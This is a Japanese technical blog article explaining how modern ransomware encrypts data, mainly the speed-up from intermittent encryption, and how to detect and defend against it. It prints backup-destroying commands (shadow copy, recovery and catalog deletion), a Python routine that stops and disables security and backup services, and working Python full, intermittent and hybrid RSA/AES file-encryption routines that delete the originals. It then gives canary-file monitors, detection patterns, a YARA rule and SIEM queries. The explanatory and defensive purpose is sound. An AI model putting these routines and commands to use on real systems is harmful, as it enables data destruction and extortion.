はじめに
ランサムウェア攻撃のクライマックスは「暗号化」フェーズです。攻撃者がネットワークの制圧を終えた後、最後に行うのがデータの暗号化であり、ここでの目標は 「セキュリティ製品が異常を検知してプロセスを停止させる前に、すべての重要なファイルを読めなくすること」 です。
かつてのランサムウェアはファイルを一つずつ愚直に暗号化していましたが、最新の検体(LockBit 3.0、BlackCat/ALPHV、PLAY、Akiraなど)は 「いかに素早く、かつ検知されずに」 全データを封鎖するかという点において、驚くべき進化を遂げています。
本記事では、2024年以降主流となっている「間欠暗号化(Intermittent Encryption)」の技術的メカニズムと、それに対する防御策について詳しく解説します。
ランサムウェア暗号化の全体像
MITRE ATT&CKにおける位置付け
ランサムウェアの暗号化は、MITRE ATT&CKフレームワークでは以下のテクニックに分類されます:
- T1486: Data Encrypted for Impact - 主要な暗号化活動
- T1490: Inhibit System Recovery - 復旧機能の無効化
- T1489: Service Stop - サービスの停止
暗号化フェーズのタイムライン
┌─────────────────────────────────────────────────────────────┐
│ Phase 1: 準備 (5-10分) │
│ - シャドウコピーの削除 │
│ - サービス・プロセスの停止 │
│ - アクセス権限の変更 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 2: 暗号化実行 (10-30分) ← 間欠暗号化で劇的に高速化 │
│ - ファイルの列挙 │
│ - 優先順位付けされたファイルの暗号化 │
│ - 拡張子の変更 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 3: 脅迫 (即座) │
│ - ランサムノートの配置 │
│ - 壁紙の変更 │
│ - システムの再起動 │
└─────────────────────────────────────────────────────────────┘
破壊の前準備:システムの制御
暗号化をスムーズに実行するため、ランサムウェアは最初に環境の「掃除」を行います。
1. バックアップの破壊(Volume Shadow Copyの削除)
Windows標準の復元機能である「ボリュームシャドウコピー(VSS)」を削除し、ユーザーが自力で過去のバージョンに戻すのを防ぎます。
# 実際に観測される攻撃コマンド例
# ※教育目的:実行しないでください
# シャドウコピーの完全削除
vssadmin.exe delete shadows /all /quiet
# WMIを使った削除(管理ツールから見えにくい)
wmic shadowcopy delete
# bcdeditによる回復オプションの無効化
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
# Windows Backup の無効化
wbadmin delete catalog -quiet
検知ポイント:
-
vssadmin.exeやwmic.exeの/quietオプション付き実行 - 短時間での複数のシャドウコピー削除
- バックアップ関連サービスの異常停止
2. サービスとプロセスの停止
データベースやバックアップソフトなどのサービスを強制停止します。これらのプロセスがファイルを開いたままだと「ファイルロック」がかかり、ランサムウェアがそのファイルを暗号化できないためです。
"""
ランサムウェアが停止対象とする主なサービス
※教育目的のリスト
"""
# よく標的となるサービス群
TARGETED_SERVICES = {
# データベース関連
'mssql': ['MSSQLSERVER', 'SQLWriter', 'SQLSERVERAGENT'],
'mysql': ['MySQL', 'MySQLd'],
'oracle': ['OracleServiceXE', 'OracleVssWriterXE'],
'postgresql': ['postgresql-x64-*'],
# メールサーバー
'exchange': ['MSExchangeIS', 'MSExchangeSA', 'MSExchangeADTopology'],
# バックアップソフト
'backup': [
'Veeam', # Veeam Backup
'BackupExec', # Veritas Backup Exec
'AcronisCyber', # Acronis
'ShadowProtect', # StorageCraft
],
# セキュリティソフト(一部)
'security': [
'MsMpEng', # Windows Defender
'SophosHealth', # Sophos
'avp', # Kaspersky
],
# 仮想化
'virtualization': [
'vmms', # Hyper-V
'vmware-*', # VMware
]
}
def stop_services_for_encryption():
"""
※これは攻撃コードの理解のための教育的な例です
実際に実行しないでください
"""
import subprocess
for category, services in TARGETED_SERVICES.items():
for service in services:
try:
# サービスの停止
subprocess.run(
['sc', 'stop', service],
capture_output=True,
timeout=5
)
# サービスの無効化(再起動防止)
subprocess.run(
['sc', 'config', service, 'start=', 'disabled'],
capture_output=True,
timeout=5
)
except:
pass # エラーは無視して続行
検知ポイント:
- 非業務時間での大量のサービス停止
- 重要なサービスの連続的な停止
-
sc.exeやnet.exeの異常な使用パターン
3. プロセスの強制終了
# よく使用されるプロセス終了コマンド
taskkill /F /IM sqlservr.exe
taskkill /F /IM mysqld.exe
taskkill /F /IM msexchange*.exe
# より洗練された手法:WMIを使用
wmic process where "name like '%sql%'" call terminate
現代の主流:間欠暗号化(Intermittent Encryption)
2022年以降、LockBit 3.0が「間欠暗号化」を実装して以来、この手法は多くの主要ランサムウェアファミリーに採用されています。
従来の暗号化方式 vs 間欠暗号化
従来の全データ暗号化
def traditional_full_encryption(file_path: str, key: bytes):
"""
従来型:ファイル全体を暗号化
※教育目的のサンプルコード
"""
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
# ファイルサイズを取得
file_size = os.path.getsize(file_path)
# IV(初期化ベクトル)の生成
iv = os.urandom(16)
# AES-256-CBCで暗号化
cipher = Cipher(
algorithms.AES(key),
modes.CBC(iv),
backend=default_backend()
)
encryptor = cipher.encryptor()
# ファイル全体を読み込んで暗号化
with open(file_path, 'rb') as f:
plaintext = f.read()
# パディング処理
from cryptography.hazmat.primitives import padding
padder = padding.PKCS7(128).padder()
padded_data = padder.update(plaintext) + padder.finalize()
# 暗号化実行
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
# 暗号化データを書き込み
with open(file_path + '.encrypted', 'wb') as f:
f.write(iv + ciphertext)
# 元ファイルを削除
os.remove(file_path)
問題点:
- 大容量ファイル(数GB〜数TB)の処理に時間がかかる
- CPU使用率が急上昇し、検知されやすい
- ディスクI/Oが増大し、システムが重くなる
間欠暗号化の実装
def intermittent_encryption(file_path: str, key: bytes, skip_pattern: str = 'alternate'):
"""
間欠暗号化:ファイルの一部のみを暗号化
※教育目的のサンプルコード
Args:
file_path: 対象ファイルパス
key: 暗号化鍵
skip_pattern: 'alternate'(交互), 'header'(ヘッダーのみ), 'percentage'(一定割合)
"""
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
# 設定
chunk_size = 1024 * 1024 # 1MB
file_size = os.path.getsize(file_path)
# ファイルサイズが小さい場合は全暗号化
if file_size < chunk_size * 2:
return traditional_full_encryption(file_path, key)
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encrypted_chunks = []
chunk_map = [] # どのチャンクを暗号化したか記録
with open(file_path, 'rb') as f:
chunk_id = 0
while True:
chunk = f.read(chunk_size)
if not chunk:
break
should_encrypt = False
# パターンに応じて暗号化するかを決定
if skip_pattern == 'alternate':
# 1つおきに暗号化(50%暗号化)
should_encrypt = (chunk_id % 2 == 0)
elif skip_pattern == 'header':
# 最初の数チャンクのみ暗号化
should_encrypt = (chunk_id < 3)
elif skip_pattern == 'percentage':
# 10%のみ暗号化(10チャンクごとに1つ)
should_encrypt = (chunk_id % 10 == 0)
if should_encrypt:
encryptor = cipher.encryptor()
# パディング(最後のチャンクのみ)
if len(chunk) < chunk_size:
from cryptography.hazmat.primitives import padding
padder = padding.PKCS7(128).padder()
chunk = padder.update(chunk) + padder.finalize()
encrypted_chunk = encryptor.update(chunk) + encryptor.finalize()
encrypted_chunks.append(encrypted_chunk)
chunk_map.append(chunk_id)
else:
encrypted_chunks.append(chunk) # 平文のまま
chunk_id += 1
# 暗号化されたファイルを書き込み
output_path = file_path + '.locked'
with open(output_path, 'wb') as f:
# メタデータ(IV、暗号化マップ)を先頭に書き込み
f.write(iv)
f.write(len(chunk_map).to_bytes(4, 'little'))
for cid in chunk_map:
f.write(cid.to_bytes(4, 'little'))
# 暗号化されたデータを書き込み
for chunk in encrypted_chunks:
f.write(chunk)
# 元ファイルを削除
os.remove(file_path)
return output_path
間欠暗号化の種類と特徴
| 方式 | 暗号化率 | 速度 | 検知難易度 | 実装例 |
|---|---|---|---|---|
| 完全暗号化 | 100% | 遅い | 高(簡単に検知) | 古いWannaCry |
| 交互暗号化 | 50% | 2倍速 | 中 | LockBit 3.0 |
| 10%暗号化 | 10% | 10倍速 | 低(検知困難) | BlackCat/ALPHV |
| ヘッダーのみ | 1-5% | 最速 | 最低 | PLAY |
| カスタム割合 | 設定可能 | 可変 | 可変 | Akira |
なぜ間欠暗号化は「バレにくい」のか?
def calculate_file_entropy(file_path: str) -> float:
"""
ファイルのエントロピーを計算
高エントロピー = ランダムなデータ(暗号化されている可能性)
"""
import math
from collections import Counter
with open(file_path, 'rb') as f:
data = f.read()
if not data:
return 0.0
# バイトの出現頻度を計算
byte_counts = Counter(data)
# シャノンエントロピーの計算
entropy = 0.0
for count in byte_counts.values():
probability = count / len(data)
entropy -= probability * math.log2(probability)
return entropy
# 比較例
print(f"平文テキスト: {calculate_file_entropy('document.txt')}") # 約3-5
print(f"完全暗号化: {calculate_file_entropy('document.encrypted')}") # 約7.9-8.0
print(f"間欠暗号化(50%): {calculate_file_entropy('document.intermittent')}") # 約6-7
間欠暗号化の検知回避メカニズム:
- エントロピー値の平均化: ファイル全体のエントロピーが完全暗号化ほど高くならない
- I/O負荷の軽減: ディスク読み書きが少ないため、性能監視で異常として検出されにくい
- 処理時間の短縮: 数分で完了するため、リアルタイム検知が間に合わない
- CPU使用率の抑制: 暗号化処理が少ないため、CPUスパイクが発生しにくい
実際の被害事例からの知見
"""
BlackCat(ALPHV)の間欠暗号化パラメータ(実際の解析結果)
"""
class BlackCatEncryptionConfig:
"""
BlackCat ランサムウェアの設定例
※セキュリティ研究から得られた知見
"""
# 暗号化設定
ENCRYPTION_MODE = "intermittent"
SKIP_PERCENTAGE = 90 # 90%をスキップ(10%のみ暗号化)
# ファイルサイズ閾値
FULL_ENCRYPT_THRESHOLD = 1024 * 1024 # 1MB以下は全暗号化
SKIP_FILE_THRESHOLD = 1024 * 1024 * 100 # 100MB以上は間欠暗号化
# 暗号化対象拡張子
TARGET_EXTENSIONS = [
# ドキュメント
'.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.pdf',
# データベース
'.sql', '.mdb', '.accdb', '.db', '.dbf',
# 画像・動画
'.jpg', '.jpeg', '.png', '.gif', '.mp4', '.avi', '.mov',
# バックアップ
'.bak', '.backup', '.vhd', '.vmdk',
# アーカイブ
'.zip', '.rar', '.7z', '.tar', '.gz',
]
# 除外するディレクトリ
EXCLUDED_DIRECTORIES = [
'Windows', 'Program Files', 'Program Files (x86)',
'ProgramData', 'AppData', '$Recycle.Bin',
]
# 除外するファイル
EXCLUDED_FILES = [
'desktop.ini', 'thumbs.db', 'autorun.inf',
'ntuser.dat', 'boot.ini',
]
# マルチスレッド設定
THREAD_COUNT = 8 # CPU数に応じて調整
暗号化アルゴリズムの選択
ランサムウェアは、速度と安全性を両立させるためにハイブリッド暗号方式を採用します。
ハイブリッド暗号化の実装
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
class RansomwareEncryption:
"""
ランサムウェアのハイブリッド暗号化
※教育目的のサンプル実装
"""
def __init__(self):
# 攻撃者の公開鍵(攻撃者のみが秘密鍵を保持)
self.attacker_public_key = self._load_attacker_public_key()
def encrypt_file(self, file_path: str):
"""
ファイルをハイブリッド暗号化
1. ランダムなAES鍵を生成(ファイルごとに異なる)
2. そのAES鍵でファイルを暗号化
3. AES鍵を攻撃者のRSA公開鍵で暗号化
4. 暗号化されたAES鍵をファイルに付加
"""
# Step 1: ファイルごとの一意なAES鍵を生成
file_aes_key = os.urandom(32) # 256-bit
iv = os.urandom(16)
# Step 2: AESでファイルを暗号化(間欠暗号化)
encrypted_data = self._encrypt_with_aes(
file_path,
file_aes_key,
iv
)
# Step 3: AES鍵をRSA公開鍵で暗号化
encrypted_key = self.attacker_public_key.encrypt(
file_aes_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# Step 4: 暗号化ファイルの構造
# [暗号化されたAES鍵(256bytes)] + [IV(16bytes)] + [暗号化データ]
output_path = file_path + '.locked'
with open(output_path, 'wb') as f:
f.write(len(encrypted_key).to_bytes(4, 'little'))
f.write(encrypted_key)
f.write(iv)
f.write(encrypted_data)
# 元ファイルを安全に削除
self._secure_delete(file_path)
return output_path
def _encrypt_with_aes(self, file_path: str, key: bytes, iv: bytes) -> bytes:
"""AES-256-CBCで暗号化"""
cipher = Cipher(
algorithms.AES(key),
modes.CBC(iv),
backend=default_backend()
)
encryptor = cipher.encryptor()
with open(file_path, 'rb') as f:
plaintext = f.read()
# パディング
from cryptography.hazmat.primitives import padding
padder = padding.PKCS7(128).padder()
padded_data = padder.update(plaintext) + padder.finalize()
# 暗号化
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
return ciphertext
def _secure_delete(self, file_path: str):
"""
ファイルの安全な削除(復元防止)
"""
# ファイルサイズを取得
file_size = os.path.getsize(file_path)
# ランダムデータで上書き(DoD 5220.22-M方式の簡易版)
with open(file_path, 'rb+') as f:
for _ in range(3): # 3回上書き
f.seek(0)
f.write(os.urandom(file_size))
f.flush()
os.fsync(f.fileno())
# ファイル削除
os.remove(file_path)
def _load_attacker_public_key(self):
"""攻撃者の公開鍵を読み込み"""
# 実際のランサムウェアでは、実行ファイルに埋め込まれている
# ここでは例として生成
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
return private_key.public_key()
使用される暗号アルゴリズム
| ランサムウェア | 対称鍵暗号 | 非対称鍵暗号 | 特徴 |
|---|---|---|---|
| LockBit 3.0 | AES-256 | RSA-2048 | 間欠暗号化、マルチスレッド |
| BlackCat | ChaCha20 | RSA-4096 | Rust実装、高速 |
| PLAY | AES-256 | RSA-2048 | ヘッダーのみ暗号化 |
| Akira | ChaCha20 | Curve25519 | 楕円曲線暗号 |
| Royal | AES-256 | RSA-4096 | 部分暗号化 |
ChaCha20の採用理由:
- AES-NIが無いCPUでも高速動作
- ソフトウェア実装が効率的
- サイドチャネル攻撃に強い
エンジニアが知っておくべき防御策
間欠暗号化が始まってしまうと、手動での介入はほぼ不可能です。予防と早期検知が最重要です。
1. Canary Files(ハニーポットファイル)の配置
import os
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
class CanaryFileMonitor(FileSystemEventHandler):
"""
Canaryファイルの変更を監視し、異常を検知
"""
def __init__(self, canary_paths: list, alert_callback):
self.canary_paths = set(canary_paths)
self.alert_callback = alert_callback
def on_modified(self, event):
"""ファイルが変更された時"""
if event.src_path in self.canary_paths:
self._trigger_alert(event.src_path, "MODIFIED")
def on_deleted(self, event):
"""ファイルが削除された時"""
if event.src_path in self.canary_paths:
self._trigger_alert(event.src_path, "DELETED")
def _trigger_alert(self, file_path: str, event_type: str):
"""アラートをトリガー"""
alert_data = {
'timestamp': time.time(),
'file': file_path,
'event': event_type,
'severity': 'CRITICAL',
'message': 'Potential ransomware activity detected!'
}
self.alert_callback(alert_data)
def create_canary_files(base_dir: str) -> list:
"""
各重要ディレクトリにCanaryファイルを作成
命名規則:
- アルファベット順で先頭に来る名前(ランサムウェアは多くの場合アルファベット順に処理)
- 一般的な拡張子
"""
canary_files = []
# Canaryファイルの定義
canary_configs = [
('0_IMPORTANT_README.txt', 'This is a honeypot file.'),
('AAA_Customer_Database.xlsx', b'\x00' * 1024),
('000_Financial_Report.docx', b'\x00' * 1024),
('.canary_db.sql', 'SELECT * FROM honeypot;'),
]
for filename, content in canary_configs:
file_path = os.path.join(base_dir, filename)
with open(file_path, 'wb' if isinstance(content, bytes) else 'w') as f:
f.write(content)
# 読み取り専用に設定
os.chmod(file_path, 0o444)
canary_files.append(file_path)
return canary_files
def emergency_response(alert_data: dict):
"""
緊急対応アクション
"""
print(f"[CRITICAL ALERT] Ransomware detected!")
print(f" File: {alert_data['file']}")
print(f" Event: {alert_data['event']}")
# 実際の対応アクション
# 1. ネットワークの即座切断
# subprocess.run(['netsh', 'interface', 'set', 'interface', 'Ethernet', 'disabled'])
# 2. 疑わしいプロセスの停止
# subprocess.run(['taskkill', '/F', '/IM', 'suspicious.exe'])
# 3. アラートの送信
# send_alert_to_siem(alert_data)
# 4. システムのシャットダウン(最終手段)
# subprocess.run(['shutdown', '/s', '/t', '0'])
# 使用例
if __name__ == "__main__":
# Canaryファイルの作成
important_dirs = [
'C:\\Users\\Public\\Documents',
'C:\\Shares\\Finance',
'D:\\Database',
]
all_canaries = []
for directory in important_dirs:
canaries = create_canary_files(directory)
all_canaries.extend(canaries)
# 監視の開始
event_handler = CanaryFileMonitor(all_canaries, emergency_response)
observer = Observer()
for directory in important_dirs:
observer.schedule(event_handler, directory, recursive=False)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
2. 暗号化プロセスの監視
import psutil
import time
from collections import defaultdict
from datetime import datetime, timedelta
class RansomwareProcessDetector:
"""
ランサムウェアの振る舞いを検知
"""
def __init__(
self,
file_operation_threshold: int = 100, # 1分あたりのファイル操作数
cpu_threshold: float = 80.0, # CPU使用率(%)
monitoring_window: int = 60 # 監視ウィンドウ(秒)
):
self.file_operation_threshold = file_operation_threshold
self.cpu_threshold = cpu_threshold
self.monitoring_window = monitoring_window
# プロセスごとのファイル操作カウント
self.file_operations = defaultdict(list)
# 既知の安全なプロセス
self.whitelist = {
'System', 'svchost.exe', 'explorer.exe',
'MsMpEng.exe', # Windows Defender
'veeam.exe', # Veeam Backup
}
def is_suspicious_process(self, proc) -> bool:
"""プロセスが疑わしいかチェック"""
try:
# ホワイトリストチェック
if proc.name() in self.whitelist:
return False
# 1. 短時間での大量のファイルオープン
open_files = proc.open_files()
if len(open_files) > 50: # 50個以上のファイルを同時にオープン
return True
# 2. CPU使用率が異常に高い
cpu_percent = proc.cpu_percent(interval=1.0)
if cpu_percent > self.cpu_threshold:
return True
# 3. 疑わしいコマンドライン引数
cmdline = ' '.join(proc.cmdline())
suspicious_patterns = [
'vssadmin', 'delete', 'shadows',
'bcdedit', 'recoveryenabled', 'no',
'wbadmin', 'delete', 'catalog',
]
if any(pattern in cmdline.lower() for pattern in suspicious_patterns):
return True
return False
except (psutil.NoSuchProcess, psutil.AccessDenied):
return False
def check_file_entropy_changes(self, file_path: str) -> float:
"""
ファイルのエントロピー変化を検知
"""
try:
import math
from collections import Counter
with open(file_path, 'rb') as f:
# 最初の1MBを読み込んで分析
data = f.read(1024 * 1024)
if not data:
return 0.0
byte_counts = Counter(data)
entropy = 0.0
for count in byte_counts.values():
probability = count / len(data)
entropy -= probability * math.log2(probability)
return entropy
except Exception:
return 0.0
def monitor(self):
"""継続的な監視"""
print("[*] Starting ransomware process monitoring...")
suspicious_procs = set()
while True:
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']):
try:
if self.is_suspicious_process(proc):
if proc.pid not in suspicious_procs:
self._alert_suspicious_process(proc)
suspicious_procs.add(proc.pid)
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
time.sleep(5) # 5秒ごとにチェック
def _alert_suspicious_process(self, proc):
"""疑わしいプロセスのアラート"""
try:
print(f"\n[ALERT] Suspicious process detected!")
print(f" PID: {proc.pid}")
print(f" Name: {proc.name()}")
print(f" CPU: {proc.cpu_percent()}%")
print(f" Command: {' '.join(proc.cmdline())}")
print(f" Open files: {len(proc.open_files())}")
# 実際の対応
# 1. プロセスの一時停止
# proc.suspend()
# 2. 管理者に通知
# send_admin_alert(proc.pid, proc.name())
# 3. プロセスの終了(最終手段)
# proc.kill()
except Exception as e:
print(f"Error alerting: {e}")
# 使用例
# detector = RansomwareProcessDetector()
# detector.monitor()
3. Windows Controlled Folder Accessの有効化
# PowerShellでControlled Folder Accessを有効化
# Windows Defenderの保護機能
# Controlled Folder Accessを有効化
Set-MpPreference -EnableControlledFolderAccess Enabled
# 保護するフォルダを追加
Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\Users\*\Documents"
Add-MpPreference -ControlledFolderAccessProtectedFolders "D:\SharedData"
Add-MpPreference -ControlledFolderAccessProtectedFolders "E:\Backups"
# 許可するアプリケーションを追加
Add-MpPreference -ControlledFolderAccessAllowedApplications "C:\Program Files\TrustedApp\app.exe"
# 設定の確認
Get-MpPreference | Select-Object -Property EnableControlledFolderAccess, ControlledFolderAccessProtectedFolders
4. Immutableバックアップの実装
"""
不変(Immutable)バックアップの概念実装
"""
class ImmutableBackupSystem:
"""
Write Once Read Many (WORM) バックアップシステム
"""
def __init__(self, backup_retention_days: int = 30):
self.retention_days = backup_retention_days
self.backup_metadata = {}
def create_backup(self, source_path: str, backup_id: str):
"""
不変バックアップを作成
実際の実装では:
- オブジェクトストレージ(S3 Object Lock、Azure Immutable Blob)
- テープバックアップ
- 専用バックアップアプライアンス
を使用
"""
import hashlib
import shutil
from datetime import datetime
timestamp = datetime.now()
# バックアップファイルのハッシュを計算
with open(source_path, 'rb') as f:
file_hash = hashlib.sha256(f.read()).hexdigest()
# メタデータを記録
self.backup_metadata[backup_id] = {
'source': source_path,
'hash': file_hash,
'created': timestamp,
'locked_until': timestamp + timedelta(days=self.retention_days),
'immutable': True
}
print(f"[+] Backup created: {backup_id}")
print(f" Hash: {file_hash}")
print(f" Locked until: {self.backup_metadata[backup_id]['locked_until']}")
def attempt_delete(self, backup_id: str) -> bool:
"""
バックアップの削除を試行(保持期間中は失敗)
"""
if backup_id not in self.backup_metadata:
return False
metadata = self.backup_metadata[backup_id]
if datetime.now() < metadata['locked_until']:
print(f"[-] Deletion denied: Backup is immutable until {metadata['locked_until']}")
return False
print(f"[+] Deletion allowed: Retention period expired")
return True
def verify_integrity(self, backup_id: str) -> bool:
"""バックアップの整合性を検証"""
if backup_id not in self.backup_metadata:
return False
metadata = self.backup_metadata[backup_id]
# ハッシュ値を再計算して比較
with open(metadata['source'], 'rb') as f:
current_hash = hashlib.sha256(f.read()).hexdigest()
if current_hash == metadata['hash']:
print(f"[+] Integrity verified: {backup_id}")
return True
else:
print(f"[-] Integrity check failed: {backup_id}")
return False
# AWS S3での実装例
"""
import boto3
from datetime import datetime, timedelta
def create_immutable_s3_backup(bucket_name: str, file_path: str):
s3 = boto3.client('s3')
# Object Lockが有効なバケットにアップロード
with open(file_path, 'rb') as f:
s3.put_object(
Bucket=bucket_name,
Key=f'backups/{datetime.now().isoformat()}/{os.path.basename(file_path)}',
Body=f,
ObjectLockMode='GOVERNANCE', # または 'COMPLIANCE'
ObjectLockRetainUntilDate=datetime.now() + timedelta(days=30)
)
"""
検知シグネチャとYARAルール
# Yara rule for detecting ransomware encryption behavior
rule Ransomware_Encryption_Behavior {
meta:
description = "Detects ransomware encryption patterns"
author = "Security Team"
date = "2024-01-01"
strings:
// VSS deletion commands
$vss1 = "vssadmin delete shadows" nocase
$vss2 = "wmic shadowcopy delete" nocase
$vss3 = "bcdedit /set {default} recoveryenabled no" nocase
// Backup deletion
$backup1 = "wbadmin delete catalog" nocase
$backup2 = "wbadmin delete systemstatebackup" nocase
// Service停止
$service1 = "sc stop" nocase
$service2 = "taskkill /F /IM sql" nocase
// Crypto APIs
$crypto1 = "CryptEncrypt" ascii
$crypto2 = "CryptGenKey" ascii
$crypto3 = "BCryptEncrypt" ascii
// File operations
$file1 = "CreateFileW" ascii
$file2 = "WriteFile" ascii
$file3 = "SetFileInformation" ascii
condition:
(2 of ($vss*) or 1 of ($backup*)) and
(1 of ($service*)) and
(2 of ($crypto*)) and
(2 of ($file*))
}
SIEMでの検知クエリ例
Splunk
# VSS削除の検知
index=windows EventCode=4688
(CommandLine="*vssadmin*delete*shadows*" OR
CommandLine="*wmic*shadowcopy*delete*" OR
CommandLine="*bcdedit*recoveryenabled*no*")
| stats count by ComputerName, User, CommandLine, _time
| where count > 0
# 大量のファイル変更検知
index=windows EventCode=4663
ObjectType=File AccessMask="0x2"
| stats count by SubjectUserName, ObjectName
| where count > 100
# 疑わしいサービス停止
index=windows EventCode=7036
(ServiceName="*SQL*" OR ServiceName="*Exchange*" OR ServiceName="*Veeam*")
State="stopped"
| stats count by ComputerName, ServiceName, _time
| where count > 3
Elastic (ELK)
{
"query": {
"bool": {
"must": [
{
"match": {
"event.code": "4688"
}
},
{
"query_string": {
"query": "process.command_line:(*vssadmin*delete*shadows* OR *wmic*shadowcopy*delete*)"
}
}
],
"filter": {
"range": {
"@timestamp": {
"gte": "now-1h"
}
}
}
}
}
}
まとめ:速度こそが攻撃者の最大の武器
最新のランサムウェアは、**「間欠暗号化」**という効率的な手法により、セキュリティ製品の検知を回避しながら、数分で組織全体のデータを人質に取ることができます。
重要なポイント
-
予兆の監視が最重要
-
vssadmin、wmic、bcdeditの実行監視 - 大量のサービス停止の検知
- 非業務時間の異常なファイルアクセス
-
-
間欠暗号化の脅威
- 従来の10倍以上の速度で暗号化可能
- エントロピー検知を回避
- 大容量ファイルでも数秒で無力化
-
多層防御の必要性
- Canaryファイルによる早期検知
- Controlled Folder Accessの活用
- Immutableバックアップの必須化
- ネットワークセグメンテーション
-
インシデント対応計画
- 検知から1分以内のネットワーク切断手順
- 自動化された緊急対応スクリプト
- 定期的な復旧訓練の実施
今後のトレンド
- AIを活用した検知: 機械学習による異常行動の早期発見
- ゼロトラストアーキテクチャ: ラテラルムーブメントの防止
- EDR/XDRの進化: より高度な振る舞い検知
- 自動隔離システム: 検知から隔離まで完全自動化
攻撃者の技術は日々進化していますが、適切な防御策と早期検知の仕組みを実装することで、被害を最小限に抑えることが可能です。
参考資料
- MITRE ATT&CK - T1486: Data Encrypted for Impact
- MITRE ATT&CK - T1490: Inhibit System Recovery
- CISA - Ransomware Guide
- No More Ransom Project
- LockBit 3.0 Technical Analysis
- BlackCat/ALPHV Analysis
免責事項: 本記事で紹介した技術は、セキュリティ研究と防御策の理解を目的とした教育コンテンツです。ランサムウェアの作成や配布、許可なく他者のシステムに対して使用することは重大な犯罪行為です。必ず自身の管理する環境または明示的な許可を得た環境でのみ検証を行ってください。